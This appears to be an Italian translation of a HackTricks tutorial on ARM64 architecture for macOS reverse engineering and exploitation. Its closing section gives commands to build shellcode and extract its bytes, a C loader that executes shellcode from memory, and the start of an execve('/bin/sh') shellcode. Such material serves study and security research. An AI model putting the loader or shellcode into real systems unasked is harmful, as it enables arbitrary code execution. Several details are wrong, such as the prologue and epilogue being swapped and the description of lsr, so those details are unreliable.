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Introduzione ad ARM64v8

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Altri modi per supportare HackTricks:

Livelli di Eccezione - EL (ARM64v8)

Nell'architettura ARMv8, i livelli di esecuzione, noti come Livelli di Eccezione (EL), definiscono il livello di privilegio e le capacità dell'ambiente di esecuzione. Ci sono quattro livelli di eccezione, che vanno da EL0 a EL3, ognuno con uno scopo diverso:

  1. EL0 - Modalità Utente:
  • Questo è il livello meno privilegiato e viene utilizzato per eseguire il codice dell'applicazione regolare.
  • Le applicazioni in esecuzione a EL0 sono isolate l'una dall'altra e dal software di sistema, migliorando la sicurezza e la stabilità.
  1. EL1 - Modalità Kernel del Sistema Operativo:
  • La maggior parte dei kernel dei sistemi operativi funziona a questo livello.
  • EL1 ha più privilegi rispetto a EL0 e può accedere alle risorse di sistema, ma con alcune restrizioni per garantire l'integrità del sistema.
  1. EL2 - Modalità Hypervisor:
  • Questo livello è utilizzato per la virtualizzazione. Un hypervisor in esecuzione a EL2 può gestire più sistemi operativi (ciascuno nel proprio EL1) in esecuzione sull'hardware fisico.
  • EL2 fornisce funzionalità per l'isolamento e il controllo degli ambienti virtualizzati.
  1. EL3 - Modalità Monitor Sicuro:
  • Questo è il livello più privilegiato e viene spesso utilizzato per l'avvio sicuro e gli ambienti di esecuzione affidabili.
  • EL3 può gestire e controllare gli accessi tra stati sicuri e non sicuri (come l'avvio sicuro, il sistema operativo affidabile, ecc.).

L'uso di questi livelli consente di gestire in modo strutturato e sicuro diversi aspetti del sistema, dalle applicazioni utente al software di sistema più privilegiato. L'approccio di ARMv8 ai livelli di privilegio aiuta a isolare efficacemente diversi componenti di sistema, migliorando così la sicurezza e la robustezza del sistema.

Registri (ARM64v8)

ARM64 ha 31 registri a scopo generale, etichettati da x0 a x30. Ciascuno può memorizzare un valore 64-bit (8 byte). Per operazioni che richiedono solo valori a 32 bit, gli stessi registri possono essere accessibili in modalità a 32 bit utilizzando i nomi w0 a w30.

  1. x0 a x7 - Questi sono tipicamente utilizzati come registri temporanei e per passare parametri alle subroutine.
  • x0 contiene anche i dati di ritorno di una funzione.
  1. x8 - Nel kernel Linux, x8 è utilizzato come numero di chiamata di sistema per l'istruzione svc. In macOS è usato il x16!
  2. x9 a x15 - Altri registri temporanei, spesso utilizzati per variabili locali.
  3. x16 e x17 - Registri di Chiamata Intra-procedurale. Registri temporanei per valori immediati. Sono anche utilizzati per chiamate a funzioni indirette e per gli stub PLT (Procedure Linkage Table).
  • x16 è utilizzato come numero di chiamata di sistema per l'istruzione svc in macOS.
  1. x18 - Registro di Piattaforma. Può essere utilizzato come registro a scopo generale, ma su alcune piattaforme questo registro è riservato per usi specifici della piattaforma: Puntatore al blocco dell'ambiente del thread corrente in Windows, o per puntare alla struttura del task attualmente in esecuzione nel kernel Linux.
  2. x19 a x28 - Questi sono registri salvati dal chiamante. Una funzione deve preservare i valori di questi registri per il chiamante, quindi vengono memorizzati nello stack e ripristinati prima di tornare al chiamante.
  3. x29 - Puntatore al Frame per tenere traccia del frame dello stack. Quando viene creato un nuovo frame dello stack perché viene chiamata una funzione, il registro x29 viene memorizzato nello stack e l'indirizzo del nuovo frame pointer (indirizzo sp) viene memorizzato in questo registro.
  • Questo registro può anche essere utilizzato come registro a scopo generale anche se di solito viene utilizzato come riferimento per le variabili locali.
  1. x30 o lr - Registro di Link. Contiene l'indirizzo di ritorno quando viene eseguita un'istruzione BL (Branch with Link) o BLR (Branch with Link to Register) memorizzando il valore di pc in questo registro.
  • Può essere utilizzato come qualsiasi altro registro.
  • Se la funzione corrente sta per chiamare una nuova funzione e quindi sovrascrivere lr, lo memorizzerà nello stack all'inizio, questo è l'epilogo (stp x29, x30 , [sp, #-48]; mov x29, sp -> Memorizza fp e lr, genera spazio e ottieni nuovo fp) e lo recupererà alla fine, questo è il prologo (ldp x29, x30, [sp], #48; ret -> Recupera fp e lr e ritorna).
  1. sp - Puntatore dello Stack, utilizzato per tenere traccia della cima dello stack.
  • il valore di sp dovrebbe sempre essere mantenuto almeno a un allineamento di quadre parole o potrebbe verificarsi un'eccezione di allineamento.
  1. pc - Contatore di Programma, che punta alla prossima istruzione. Questo registro può essere aggiornato solo attraverso generazioni di eccezioni, ritorni di eccezioni e branch. Le uniche istruzioni ordinarie che possono leggere questo registro sono le istruzioni di branch con link (BL, BLR) per memorizzare l'indirizzo di pc in lr (Registro di Link).
  2. xzr - Registro Zero. Chiamato anche wzr nella sua forma a registro 32-bit. Può essere utilizzato per ottenere facilmente il valore zero (operazione comune) o per eseguire confronti usando subs come subs XZR, Xn, #10 memorizzando i dati risultanti da nessuna parte (in xzr).

I registri Wn sono la versione a 32 bit del registro Xn.

Registri SIMD e in Virgola Mobile

Inoltre, ci sono altri 32 registri di lunghezza 128 bit che possono essere utilizzati in operazioni ottimizzate di singola istruzione su dati multipli (SIMD) e per eseguire operazioni aritmetiche in virgola mobile. Questi sono chiamati registri Vn anche se possono operare anche in 64-bit, 32-bit, 16-bit e 8-bit e quindi sono chiamati Qn, Dn, Sn, Hn e Bn.

Registri di sistema

Ci sono centinaia di registri di sistema, chiamati anche registri a scopo speciale (SPR), utilizzati per monitorare e controllare il comportamento dei processori.
Possono essere letti o impostati solo utilizzando le istruzioni speciali dedicate mrs e msr.

I registri speciali TPIDR_EL0 e TPIDDR_EL0 sono comunemente trovati durante l'ingegneria inversa. Il suffisso EL0 indica la minima eccezione dalla quale il registro può essere accessibile (in questo caso EL0 è il livello di eccezione (privilegio) regolare con cui i programmi regolari vengono eseguiti).
Sono spesso utilizzati per memorizzare l'indirizzo di base della regione di memoria dello storage locale del thread. Di solito il primo è leggibile e scrivibile per i programmi in esecuzione in EL0, ma il secondo può essere letto da EL0 e scritto da EL1 (come il kernel).

  • mrs x0, TPIDR_EL0 ; Legge TPIDR_EL0 in x0
  • msr TPIDR_EL0, X0 ; Scrive x0 in TPIDR_EL0

PSTATE

PSTATE contiene diversi componenti del processo serializzati nel registro speciale SPSR_ELx, essendo X il livello di permesso dell'eccezione scatenata (questo consente di ripristinare lo stato del processo quando l'eccezione termina).
Questi sono i campi accessibili:

  • I flag di condizione N, Z, C e V:
  • N indica che l'operazione ha prodotto un risultato negativo
  • Z indica che l'operazione ha prodotto zero
  • C indica che l'operazione è stata eseguita
  • V indica che l'operazione ha prodotto un overflow con segno:
  • La somma di due numeri positivi produce un risultato negativo.
  • La somma di due numeri negativi produce un risultato positivo.
  • Nella sottrazione, quando un numero negativo grande viene sottratto da un numero positivo più piccolo (o viceversa), e il risultato non può essere rappresentato nell'intervallo della dimensione dei bit dati.
  • Ovviamente il processore non sa se l'operazione è con segno o meno, quindi controllerà C e V nelle operazioni e indicherà se si è verificato un trasporto nel caso fosse con segno o senza.

{% hint style="warning" %} Non tutte le istruzioni aggiornano questi flag. Alcune come CMP o TST lo fanno, e altre che hanno un suffisso s come ADDS lo fanno anche. {% endhint %}

  • Il flag attuale della larghezza del registro (nRW): Se il flag ha il valore 0, il programma verrà eseguito nello stato di esecuzione AArch64 una volta ripreso.
  • Il livello di eccezione corrente (EL): Un programma regolare in esecuzione in EL0 avrà il valore 0
  • Il flag di singolo passaggio (SS): Usato dai debugger per passare singolarmente impostando il flag SS a 1 all'interno di SPSR_ELx attraverso un'eccezione. Il programma eseguirà un passaggio e emetterà un'eccezione di passaggio singolo.
  • Il flag di stato di eccezione illegale (IL): Viene utilizzato per segnalare quando un software privilegiato esegue un trasferimento di livello di eccezione non valido, questo flag viene impostato su 1 e il processore scatena un'eccezione di stato illegale.
  • I flag DAIF: Questi flag consentono a un programma privilegiato di mascherare selettivamente determinate eccezioni esterne.
  • Se A è 1 significa che verranno scatenati aborti asincroni. I configura la risposta alle Richieste di Interruzione Hardware esterne (IRQs). e F è relativo alle Richieste di Interruzione Rapida (FIRs).
  • I flag di selezione del puntatore dello stack (SPS): I programmi privilegiati in esecuzione in EL1 e superiori possono passare dall'utilizzare il proprio registro del puntatore dello stack e quello del modello utente (ad es. tra SP_EL1 e EL0). Questo passaggio viene eseguito scrivendo nel registro speciale SPSel. Questo non può essere fatto da EL0.

Convenzione di chiamata (ARM64v8)

La convenzione di chiamata ARM64 specifica che i primi otto parametri di una funzione vengono passati nei registri x0 attraverso x7. Parametri aggiuntivi vengono passati nello stack. Il valore di ritorno viene restituito nel registro x0, o anche in x1 se è lungo 128 bit. I registri x19 a x30 e sp devono essere preservati attraverso le chiamate di funzione.

Quando si legge una funzione in assembly, cercare il prologo e l'epilogo della funzione. Il prologo di solito coinvolge il salvataggio del frame pointer (x29), impostare un nuovo frame pointer, e allocare spazio nello stack. L'epilogo di solito coinvolge il ripristino del frame pointer salvato e il ritorno dalla funzione.

Convenzione di chiamata in Swift

Swift ha la sua convenzione di chiamata che può essere trovata in https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64

Istruzioni Comuni (ARM64v8)

Le istruzioni ARM64 generalmente hanno il formato opcode dst, src1, src2, dove opcode è l'operazione da eseguire (come add, sub, mov, ecc.), dst è il registro di destinazione dove verrà memorizzato il risultato, e src1 e src2 sono i registri di origine. Possono essere utilizzati anche valori immediati al posto dei registri di origine.

  • mov: Sposta un valore da un registro a un altro.
  • Esempio: mov x0, x1 — Questo sposta il valore da x1 a x0.
  • ldr: Carica un valore dalla memoria in un registro.
  • Esempio: ldr x0, [x1] — Questo carica un valore dalla posizione di memoria puntata da x1 in x0.
  • Modalità di offset: Un offset che influisce sul puntatore di origine è indicato, ad esempio:
  • ldr x2, [x1, #8], questo caricherà in x2 il valore da x1 + 8
  • ldr x2, [x0, x1, lsl #2], questo caricherà in x2 un oggetto dall'array x0, dalla posizione x1 (indice) * 4
  • Modalità pre-indicizzata: Questo applicherà calcoli all'origine, otterrà il risultato e memorizzerà anche la nuova origine nell'origine.
  • ldr x2, [x1, #8]!, questo caricherà x1 + 8 in x2 e memorizzerà in x1 il risultato di x1 + 8
  • str lr, [sp, #-4]!, Memorizza il registro di link in sp e aggiorna il registro sp
  • Modalità post-indicizzata: È simile alla precedente ma l'indirizzo di memoria viene accesso e poi viene calcolato e memorizzato l'offset.
  • ldr x0, [x1], #8, carica x1 in x0 e aggiorna x1 con x1 + 8
  • Indirizzamento relativo al PC: In questo caso l'indirizzo da caricare viene calcolato in relazione al registro PC
  • ldr x1, =_start, Questo caricherà l'indirizzo in cui inizia il simbolo _start in x1 relativo al PC corrente.
  • str: Memorizza un valore da un registro nella memoria.
  • Esempio: str x0, [x1] — Questo memorizza il valore in x0 nella posizione di memoria puntata da x1.
  • ldp: Carica Coppia di Registri. Questa istruzione carica due registri da posizioni di memoria consecutive. L'indirizzo di memoria è tipicamente formato aggiungendo un offset al valore in un altro registro.
  • Esempio: ldp x0, x1, [x2] — Questo carica x0 e x1 dalle posizioni di memoria in x2 e x2 + 8, rispettivamente.
  • stp: Memorizza Coppia di Registri. Questa istruzione memorizza due registri in posizioni di memoria consecutive. L'indirizzo di memoria è tipicamente formato aggiungendo un offset al valore in un altro registro.
  • Esempio: stp x0, x1, [sp] — Questo memorizza x0 e x1 nelle posizioni di memoria in sp e sp + 8, rispettivamente.
  • stp x0, x1, [sp, #16]! — Questo memorizza x0 e x1 nelle posizioni di memoria in sp+16 e sp + 24, rispettivamente, e aggiorna sp con sp+16.
  • add: Aggiunge i valori di due registri e memorizza il risultato in un registro.
  • Sintassi: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]
  • Xn1 -> Destinazione
  • Xn2 -> Operando 1
  • Xn3 | #imm -> Operando 2 (registro o immediato)
  • shift #N | RRX
  • Esempio: add x0, x1, x2 — Questo somma i valori in x1 e x2 insieme e memorizza il risultato in x0.
  • add x5, x5, #1, lsl #12 — Questo equivale a 4096 (un 1 shiftato 12 volte) -> 1 0000 0000 0000 0000
  • adds Questo esegue un add e aggiorna i flag
  • sub: Sottrai i valori di due registri e memorizza il risultato in un registro.
  • Controlla la sintassi di add.
  • Esempio: sub x0, x1, x2 — Questo sottrae il valore in x2 da x1 e memorizza il risultato in x0.
  • subs Questo è come sub ma aggiorna il flag
  • mul: Moltiplica i valori di due registri e memorizza il risultato in un registro.
  • Esempio: mul x0, x1, x2 — Questo moltiplica i valori in x1 e x2 e memorizza il risultato in x0.
  • div: Dividi il valore di un registro per un altro e memorizza il risultato in un registro.
  • Esempio: div x0, x1, x2 — Questo divide il valore in x1 per x2 e memorizza il risultato in x0.
  • lsl, lsr, asr, ror, rrx:
  • Shift logico a sinistra: Aggiunge 0 dalla fine spostando gli altri bit in avanti (moltiplica n volte per 2)
  • Shift logico a destra: Aggiunge 1 all'inizio spostando gli altri bit all'indietro (divide n volte per 2 in non firmato)
  • Shift aritmetico a destra: Come lsr, ma invece di aggiungere 0 se il bit più significativo è 1, **aggiunge 1 (**divide n volte per 2 in firmato)
  • Ruota a destra: Come lsr ma qualsiasi cosa venga rimossa da destra viene aggiunta a sinistra
  • Ruota a destra con estensione: Come ror, ma con il flag di carry come "bit più significativo". Quindi il flag di carry viene spostato al bit 31 e il bit rimosso al flag di carry.
  • bfm: Spostamento di bit di campo, queste operazioni copiano i bit 0...n da un valore e li collocano nelle posizioni m..m+n. Il #s specifica la posizione del bit più a sinistra e #r la quantità di rotazione a destra.
  • Spostamento di bit: BFM Xd, Xn, #r
  • Spostamento di bit firmato: SBFM Xd, Xn, #r, #s
  • Spostamento di bit non firmato: UBFM Xd, Xn, #r, #s
  • Estrai e inserisci bitfield: Copia un bitfield da un registro e lo copia in un altro registro.
  • BFI X1, X2, #3, #4 Inserisce 4 bit da X2 dal 3° bit di X1
  • BFXIL X1, X2, #3, #4 Estrae dal 3° bit di X2 quattro bit e li copia in X1
  • SBFIZ X1, X2, #3, #4 Estende il segno di 4 bit da X2 e li inserisce in X1 a partire dalla posizione del bit 3 azzerando i bit a destra
  • SBFX X1, X2, #3, #4 Estrae 4 bit a partire dal bit 3 di X2, estende il segno e inserisce il risultato in X1
  • UBFIZ X1, X2, #3, #4 Estende a zero 4 bit da X2 e li inserisce in X1 a partire dalla posizione del bit 3 azzerando i bit a destra
  • UBFX X1, X2, #3, #4 Estrae 4 bit a partire dal bit 3 di X2 e inserisce il risultato esteso a zero in X1.
  • Estendi il segno a X: Estende il segno (o aggiunge solo 0 nella versione non firmata) di un valore per poter eseguire operazioni con esso:
  • SXTB X1, W2 Estende il segno di un byte da W2 a X1 (W2 è la metà di X2) per riempire i 64 bit
  • SXTH X1, W2 Estende il segno di un numero a 16 bit da W2 a X1 per riempire i 64 bit
  • SXTW X1, W2 Estende il segno di un byte da W2 a X1 per riempire i 64 bit
  • UXTB X1, W2 Aggiunge 0 (non firmato) a un byte da W2 a X1 per riempire i 64 bit
  • extr: Estrae bit da una coppia di registri concatenati specificati.
  • Esempio: EXTR W3, W2, W1, #3 Questo concatena W1+W2 e prende dal bit 3 di W2 fino al bit 3 di W1 e lo memorizza in W3.
  • cmp: Confronta due registri e imposta i flag di condizione. È un alias di subs impostando il registro di destinazione al registro zero. Utile per sapere se m == n.
  • Supporta la stessa sintassi di subs
  • Esempio: cmp x0, x1 — Questo confronta i valori in x0 e x1 e imposta i flag di condizione di conseguenza.
  • cmn: Confronto negativo dell'operando. In questo caso è un alias di adds e supporta la stessa sintassi. Utile per sapere se m == -n.
  • ccmp: Confronto condizionale, è un confronto che verrà eseguito solo se un confronto precedente è stato vero e imposterà specificamente i bit nzcv.
  • cmp x1, x2; ccmp x3, x4, 0, NE; blt _func -> se x1 != x2 e x3 < x4, salta a func
  • Questo perché ccmp verrà eseguito solo se il precedente cmp era un NE, se non lo fosse i bit nzcv verranno impostati a 0 (che non soddisferà il confronto blt).
  • Questo può anche essere usato come ccmn (stesso ma negativo, come cmp vs cmn).
  • tst: Controlla se i valori del confronto sono entrambi 1 (funziona come un ANDS senza memorizzare il risultato da nessuna parte). È utile per controllare un registro con un valore e verificare se uno qualsiasi dei bit del registro indicato nel valore è 1.
  • Esempio: tst X1, #7 Controlla se uno qualsiasi degli ultimi 3 bit di X1 è 1
  • teq: Operazione XOR scartando il risultato
  • b: Salto incondizionato
  • Esempio: b myFunction
  • Nota che questo non riempirà il registro di collegamento con l'indirizzo di ritorno (non adatto per le chiamate a subroutine che devono tornare indietro)
  • bl: Salto con collegamento, usato per chiamare una sottoroutine. Memorizza l'indirizzo di ritorno in x30.
  • Esempio: bl myFunction — Questo chiama la funzione myFunction e memorizza l'indirizzo di ritorno in x30.
  • Nota che questo non riempirà il registro di collegamento con l'indirizzo di ritorno (non adatto per le chiamate a subroutine che devono tornare indietro)
  • blr: Salto con collegamento al registro, usato per chiamare una sottoroutine dove il target è specificato in un registro. Memorizza l'indirizzo di ritorno in x30. (Questo è
  • Esempio: blr x1 — Questo chiama la funzione il cui indirizzo è contenuto in x1 e memorizza l'indirizzo di ritorno in x30.
  • ret: Ritorna dalla sottoroutine, tipicamente utilizzando l'indirizzo in x30.
  • Esempio: ret — Questo ritorna dalla sottoroutine corrente utilizzando l'indirizzo di ritorno in x30.
  • b.<cond>: Salti condizionali
  • b.eq: Salta se uguale, basato sull'istruzione cmp precedente.
  • Esempio: b.eq label — Se l'istruzione cmp precedente ha trovato due valori uguali, questo salta a label.
  • b.ne: Branch se Non Uguale. Questa istruzione controlla i flag di condizione (che sono stati impostati da un'istruzione di confronto precedente), e se i valori confrontati non erano uguali, salta a un'etichetta o indirizzo.
  • Esempio: Dopo un'istruzione cmp x0, x1, b.ne label — Se i valori in x0 e x1 non erano uguali, salta a label.
  • cbz: Confronta e Salta se Zero. Questa istruzione confronta un registro con zero, e se sono uguali, salta a un'etichetta o indirizzo.
  • Esempio: cbz x0, label — Se il valore in x0 è zero, salta a label.
  • cbnz: Confronta e Salta se Non Zero. Questa istruzione confronta un registro con zero, e se non sono uguali, salta a un'etichetta o indirizzo.
  • Esempio: cbnz x0, label — Se il valore in x0 non è zero, salta a label.
  • tbnz: Testa il bit e salta se non zero
  • Esempio: tbnz x0, #8, label
  • tbz: Testa il bit e salta se zero
  • Esempio: tbz x0, #8, label
  • Operazioni di selezione condizionale: Queste sono operazioni il cui comportamento varia a seconda dei bit condizionali.
  • csel Xd, Xn, Xm, cond -> csel X0, X1, X2, EQ -> Se vero, X0 = X1, se falso, X0 = X2
  • csinc Xd, Xn, Xm, cond -> Se vero, Xd = Xn, se falso, Xd = Xm + 1
  • cinc Xd, Xn, cond -> Se vero, Xd = Xn + 1, se falso, Xd = Xn
  • csinv Xd, Xn, Xm, cond -> Se vero, Xd = Xn, se falso, Xd = NON(Xm)
  • cinv Xd, Xn, cond -> Se vero, Xd = NON(Xn), se falso, Xd = Xn
  • csneg Xd, Xn, Xm, cond -> Se vero, Xd = Xn, se falso, Xd = - Xm
  • cneg Xd, Xn, cond -> Se vero, Xd = - Xn, se falso, Xd = Xn
  • cset Xd, Xn, Xm, cond -> Se vero, Xd = 1, se falso, Xd = 0
  • csetm Xd, Xn, Xm, cond -> Se vero, Xd = <tutti 1>, se falso, Xd = 0
  • adrp: Calcola l'indirizzo di pagina di un simbolo e lo memorizza in un registro.
  • Esempio: adrp x0, symbol — Questo calcola l'indirizzo di pagina di symbol e lo memorizza in x0.
  • ldrsw: Carica un valore firmato di 32 bit dalla memoria e estende il segno a 64 bit.
  • Esempio: ldrsw x0, [x1] — Questo carica un valore firmato di 32 bit dalla posizione di memoria puntata da x1, estende il segno a 64 bit e lo memorizza in x0.
  • stur: Memorizza un valore di registro in una posizione di memoria, utilizzando un offset da un altro registro.
  • Esempio: stur x0, [x1, #4] — Questo memorizza il valore in x0 nell'indirizzo di memoria che è 4 byte maggiore rispetto all'indirizzo attualmente in x1.
  • svc : Effettua una chiamata di sistema. Sta per "Supervisor Call". Quando il processore esegue questa istruzione, passa dalla modalità utente alla modalità kernel e salta a una posizione specifica in memoria dove si trova il codice di gestione delle chiamate di sistema del kernel.
  • Esempio:
mov x8, 93  ; Carica il numero di chiamata di sistema per l'uscita (93) nel registro x8.
mov x0, 0   ; Carica il codice di stato di uscita (0) nel registro x0.
svc 0       ; Effettua la chiamata di sistema.

Prologo della Funzione

  1. Salva il registro del link e il puntatore del frame nello stack:

{% code overflow="wrap" %}

stp x29, x30, [sp, #-16]!  ; store pair x29 and x30 to the stack and decrement the stack pointer

{% endcode %}

  1. Imposta il nuovo frame pointer: mov x29, sp (imposta il nuovo frame pointer per la funzione corrente)
  2. Allocare spazio nello stack per le variabili locali (se necessario): sub sp, sp, <size> (dove <size> è il numero di byte necessario)

Epilogo della Funzione

  1. Dealloca le variabili locali (se ne sono state allocate): add sp, sp, <size>
  2. Ripristina il link register e il frame pointer:

{% code overflow="wrap" %}

ldp x29, x30, [sp], #16  ; load pair x29 and x30 from the stack and increment the stack pointer

{% endcode %}

  1. Ritorno: ret (restituisce il controllo al chiamante utilizzando l'indirizzo nel registro di collegamento)

Stato di esecuzione AARCH32

Armv8-A supporta l'esecuzione di programmi a 32 bit. AArch32 può funzionare in uno dei due set di istruzioni: A32 e T32 e può passare da uno all'altro tramite interworking.
I programmi privilegiati a 64 bit possono pianificare l'esecuzione di programmi a 32 bit eseguendo un trasferimento di livello di eccezione al 32 bit a livello inferiore privilegiato.
Si noti che la transizione da 64 bit a 32 bit avviene con un abbassamento del livello di eccezione (ad esempio un programma a 64 bit in EL1 che attiva un programma in EL0). Ciò viene fatto impostando il bit 4 di SPSR_ELx registro speciale a 1 quando il thread del processo AArch32 è pronto per essere eseguito e il resto di SPSR_ELx memorizza i programmi AArch32 CPSR. Quindi, il processo privilegiato chiama l'istruzione ERET in modo che il processore passi a AArch32 entrando in A32 o T32 a seconda di CPSR**.**

L'interworking avviene utilizzando i bit J e T di CPSR. J=0 e T=0 significa A32 e J=0 e T=1 significa T32. Questo si traduce fondamentalmente nell'impostare il bit più basso a 1 per indicare che il set di istruzioni è T32.
Questo viene impostato durante le istruzioni di branch interworking, ma può anche essere impostato direttamente con altre istruzioni quando il PC è impostato come registro di destinazione. Esempio:

Un altro esempio:

_start:
.code 32                ; Begin using A32
add r4, pc, #1      ; Here PC is already pointing to "mov r0, #0"
bx r4               ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)

.code 16:
mov r0, #0
mov r0, #8

Registri

Ci sono 16 registri da 32 bit (r0-r15). Da r0 a r14 possono essere utilizzati per qualsiasi operazione, tuttavia alcuni di essi sono di solito riservati:

  • r15: Contatore di programma (sempre). Contiene l'indirizzo dell'istruzione successiva. In A32 corrente + 8, in T32, corrente + 4.
  • r11: Puntatore di frame
  • r12: Registro di chiamata intra-procedurale
  • r13: Puntatore dello stack
  • r14: Registro di collegamento

Inoltre, i registri sono salvati nei registri bancati. Questi sono luoghi che memorizzano i valori dei registri consentendo di eseguire cambiamenti di contesto veloci nella gestione delle eccezioni e delle operazioni privilegiate per evitare la necessità di salvare e ripristinare manualmente i registri ogni volta.
Questo avviene salvando lo stato del processore dal CPSR al SPSR della modalità del processore a cui viene presa l'eccezione. Al ritorno dall'eccezione, il CPSR viene ripristinato dal SPSR.

CPSR - Registro di stato del programma corrente

In AArch32 il CPSR funziona in modo simile a PSTATE in AArch64 ed è anche memorizzato in SPSR_ELx quando viene presa un'eccezione per ripristinare in seguito l'esecuzione:

I campi sono divisi in alcuni gruppi:

  • Registro di stato del programma dell'applicazione (APSR): Flag aritmetici e accessibili da EL0
  • Registri dello stato di esecuzione: Comportamento del processo (gestito dal sistema operativo).

Registro di stato del programma dell'applicazione (APSR)

  • I flag N, Z, C, V (come in AArch64)
  • Il flag Q: Viene impostato a 1 ogni volta che si verifica una saturazione intera durante l'esecuzione di un'istruzione aritmetica di saturazione specializzata. Una volta impostato a 1, manterrà il valore fino a quando non verrà impostato manualmente a 0. Inoltre, non c'è alcuna istruzione che ne controlla il valore implicitamente, deve essere fatto leggendolo manualmente.
  • Flag GE (Maggiore o uguale): Viene utilizzato nelle operazioni SIMD (Single Instruction, Multiple Data), come "addizione parallela" e "sottrazione parallela". Queste operazioni consentono di elaborare più punti dati in un'unica istruzione.

Ad esempio, l'istruzione UADD8 aggiunge quattro coppie di byte (da due operandi da 32 bit) in parallelo e memorizza i risultati in un registro da 32 bit. Quindi imposta i flag GE nell'APSR in base a questi risultati. Ogni flag GE corrisponde a una delle addizioni di byte, indicando se l'addizione per quella coppia di byte ha overflow.

L'istruzione SEL utilizza questi flag GE per eseguire azioni condizionali.

Registri dello stato di esecuzione

  • I bit J e T: J dovrebbe essere 0 e se T è 0 viene utilizzato il set di istruzioni A32, e se è 1 viene utilizzato il T32.
  • Registro di stato del blocco IT (ITSTATE): Sono i bit da 10-15 e 25-26. Memorizzano le condizioni per le istruzioni all'interno di un gruppo con prefisso IT.
  • Bit E: Indica la endianness.
  • Bit di modalità e maschere di eccezione (0-4): Determinano lo stato di esecuzione corrente. Il quinto indica se il programma viene eseguito come 32 bit (un 1) o 64 bit (un 0). Gli altri 4 rappresentano la modalità di eccezione attualmente in uso (quando si verifica un'eccezione e viene gestita). Il numero impostato indica la priorità corrente nel caso in cui venga scatenata un'altra eccezione mentre questa viene gestita.
  • AIF: Alcune eccezioni possono essere disabilitate utilizzando i bit A, I, F. Se A è 1 significa che verranno attivate aborti asincroni. Il I configura la risposta alle Richieste di Interruzione Hardware esterne (IRQ). e il F è relativo alle Richieste di Interruzione Rapida (FIR).

macOS

Chiamate di sistema BSD

Controlla syscalls.master. Le chiamate di sistema BSD avranno x16 > 0.

Trappole Mach

Controlla in syscall_sw.c la mach_trap_table e in mach_traps.h i prototipi. Il numero massimo di trappole Mach è MACH_TRAP_TABLE_COUNT = 128. Le trappole Mach avranno x16 < 0, quindi è necessario chiamare i numeri dalla lista precedente con un meno: _kernelrpc_mach_vm_allocate_trap è -10.

Puoi anche controllare libsystem_kernel.dylib in un disassemblatore per capire come chiamare queste chiamate di sistema (e BSD):

# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e

# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

{% endcode %}

{% hint style="success" %} A volte è più facile controllare il codice decompilato da libsystem_kernel.dylib piuttosto che controllare il codice sorgente perché il codice di diverse chiamate di sistema (BSD e Mach) è generato tramite script (controlla i commenti nel codice sorgente) mentre nella dylib puoi trovare cosa viene chiamato. {% endhint %}

chiamate machdep

XNU supporta un altro tipo di chiamate chiamate dipendenti dalla macchina. Il numero di queste chiamate dipende dall'architettura e né le chiamate né i numeri sono garantiti di rimanere costanti.

pagina comm

Questa è una pagina di memoria proprietaria del kernel che viene mappata nello spazio degli indirizzi di ogni processo utente. È destinata a rendere più veloce la transizione dalla modalità utente allo spazio kernel rispetto all'utilizzo di chiamate di sistema per i servizi del kernel che vengono utilizzati così tanto che questa transizione sarebbe molto inefficiente.

Ad esempio, la chiamata gettimeofdate legge il valore di timeval direttamente dalla pagina comm.

objc_msgSend

È molto comune trovare questa funzione utilizzata nei programmi Objective-C o Swift. Questa funzione consente di chiamare un metodo di un oggetto Objective-C.

Parametri (più informazioni nella documentazione):

  • x0: self -> Puntatore all'istanza
  • x1: op -> Selettore del metodo
  • x2... -> Resto degli argomenti del metodo invocato

Quindi, se imposti un breakpoint prima del salto a questa funzione, puoi facilmente trovare cosa viene invocato in lldb con (in questo esempio l'oggetto chiama un oggetto da NSConcreteTask che eseguirà un comando):

(lldb) po $x0
<NSConcreteTask: 0x1052308e0>

(lldb) x/s $x1
0x1736d3a6e: "launch"

(lldb) po [$x0 launchPath]
/bin/sh

(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)

Shellcodes

Per compilare:

as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem

Per estrarre i byte:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
Codice C per testare lo shellcode ```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include <sys/mman.h> #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### Shell

Prelevato da [**qui**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) e spiegato.

{% tabs %}
{% tab title="con adr" %}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
